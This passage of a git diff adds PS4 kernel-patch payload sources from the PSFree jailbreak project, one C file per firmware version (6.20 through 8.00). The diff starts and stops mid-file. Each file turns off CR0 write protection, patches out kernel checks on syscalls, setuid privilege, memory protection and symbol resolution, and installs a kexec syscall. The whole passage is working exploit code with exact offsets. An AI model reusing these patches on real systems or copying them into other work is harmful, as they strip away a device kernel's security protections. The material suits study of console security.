write8(kbase, 0x114691, 0xeb); // pagezero + write8(kbase, 0x11470d, 0xeb); // memcpy + write8(kbase, 0x114751, 0xeb); // pagecopy + write8(kbase, 0x1148fd, 0xeb); // copyin + write8(kbase, 0x114dad, 0xeb); // copyinstr + write8(kbase, 0x114e7d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x290ed, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x352258, 0x04eb); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x27f65a, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x1a810, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x24026d, 0x37); + write8(kbase, 0x240270, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x111b750; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x3f0c9); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/620.c b/payloads/sources/ps4-kpatches-src/620.c new file mode 100644 index 0000000..27ab9ad --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/620.c @@ -0,0 +1,158 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 6.20 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write8(kbase, 0xadd, 0xeb); // bcopy + write8(kbase, 0x11464d, 0xeb); // bzero + write8(kbase, 0x114691, 0xeb); // pagezero + write8(kbase, 0x11470d, 0xeb); // memcpy + write8(kbase, 0x114751, 0xeb); // pagecopy + write8(kbase, 0x1148fd, 0xeb); // copyin + write8(kbase, 0x114dad, 0xeb); // copyinstr + write8(kbase, 0x114e7d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x290ed, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x352278, 0x04eb); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x27f67a, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x1a810, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x24026d, 0x37); + write8(kbase, 0x240270, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x111f750; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x2be6e); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/650.c b/payloads/sources/ps4-kpatches-src/650.c new file mode 100644 index 0000000..e3f5aa0 --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/650.c @@ -0,0 +1,165 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 6.50 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write16(kbase, 0x63c50e, 0x00eb); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x3c114d, 0xeb); // bzero + write8(kbase, 0x3c1191, 0xeb); // pagezero + write8(kbase, 0x3c120d, 0xeb); // memcpy + write8(kbase, 0x3c1251, 0xeb); // pagecopy + write8(kbase, 0x3c13fd, 0xeb); // copyin + write8(kbase, 0x3c18ad, 0xeb); // copyinstr + write8(kbase, 0x3c197d, 0xeb); // copystr + + // stop sysVeri from causing a delayed panic on suspend + write16(kbase, 0x63ce0f, 0x00eb); + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x10bb27, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x451a08, 0x04eb); + + // TODO: Description of this patch. patch sys_dynlib_load_prx() + write16(kbase, 0x1d801e, 0xe990); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x1d85aa, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x419f20, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0xab57a, 0x37); + write8(kbase, 0xab57d, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x111d210; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x15a50d); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/670.c b/payloads/sources/ps4-kpatches-src/670.c new file mode 100644 index 0000000..1faf0b8 --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/670.c @@ -0,0 +1,165 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 6.70, 6.71, 6.72 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write16(kbase, 0x63c8ce, 0x00eb); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x3c14fd, 0xeb); // bzero + write8(kbase, 0x3c1541, 0xeb); // pagezero + write8(kbase, 0x3c15bd, 0xeb); // memcpy + write8(kbase, 0x3c1601, 0xeb); // pagecopy + write8(kbase, 0x3c17ad, 0xeb); // copyin + write8(kbase, 0x3c1c5d, 0xeb); // copyinstr + write8(kbase, 0x3c1d2d, 0xeb); // copystr + + // stop sysVeri from causing a delayed panic on suspend + write16(kbase, 0x63d1cf, 0x00eb); + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x10bed7, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x451db8, 0x04eb); + + // TODO: Description of this patch. patch sys_dynlib_load_prx() + write16(kbase, 0x1d83ce, 0xe990); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x1d895a, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x41a2d0, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0xab57a, 0x37); + write8(kbase, 0xab57d, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x111e210; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x9d11d); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/700.c b/payloads/sources/ps4-kpatches-src/700.c new file mode 100644 index 0000000..c595dab --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/700.c @@ -0,0 +1,165 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 7.00, 7.01, 7.02 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write16(kbase, 0x63acce, 0x00eb); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x2ef8d, 0xeb); // bzero + write8(kbase, 0x2efd1, 0xeb); // pagezero + write8(kbase, 0x2f04d, 0xeb); // memcpy + write8(kbase, 0x2f091, 0xeb); // pagecopy + write8(kbase, 0x2f23d, 0xeb); // copyin + write8(kbase, 0x2f6ed, 0xeb); // copyinstr + write8(kbase, 0x2f7bd, 0xeb); // copystr + + // stop sysVeri from causing a delayed panic on suspend + write16(kbase, 0x63b5ef, 0x00eb); + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x87b77, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x264c08, 0x04eb); + + // TODO: Description of this patch. patch sys_dynlib_load_prx() + write16(kbase, 0x94ec1, 0xe990); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x9547b, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x2f2c20, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x1d2336, 0x37); + write8(kbase, 0x1d2339, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x1125870; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x6b192); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/750.c b/payloads/sources/ps4-kpatches-src/750.c new file mode 100644 index 0000000..1ac4c4d --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/750.c @@ -0,0 +1,165 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 7.50, 7.51, 7.55 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write16(kbase, 0x637394, 0x00eb); // veriPatch + write8(kbase, 0xadd, 0xeb); // bcopy + write8(kbase, 0x28f74d, 0xeb); // bzero + write8(kbase, 0x28f791, 0xeb); // pagezero + write8(kbase, 0x28f80d, 0xeb); // memcpy + write8(kbase, 0x28f851, 0xeb); // pagecopy + write8(kbase, 0x28f9fd, 0xeb); // copyin + write8(kbase, 0x28fead, 0xeb); // copyinstr + write8(kbase, 0x28ff7d, 0xeb); // copystr + + // stop sysVeri from causing a delayed panic on suspend + write16(kbase, 0x637ccf, 0x00eb); + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x00eb); + write16(kbase, 0x4b9, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x37a327, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x3014c8, 0x04eb); + + // TODO: Description of this patch. patch sys_dynlib_load_prx() + write16(kbase, 0x451e04, 0xe990); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x4523c4, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x29a30, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0xdb17d, 0x37); + write8(kbase, 0xdb180, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x1122550; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x1f842); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/800.c b/payloads/sources/ps4-kpatches-src/800.c new file mode 100644 index 0000000..3cd1f77 --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/800.c @@ -0,0 +1,165 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 8.00, 8.01, 8.03 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write16(kbase, 0x62d254, 0x00eb); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x25e10d, 0xeb); // bzero + write8(kbase, 0x25e151, 0xeb); // pagezero + write8(kbase, 0x25e1cd, 0xeb); // memcpy + write8(kbase, 0x25e211, 0xeb); // 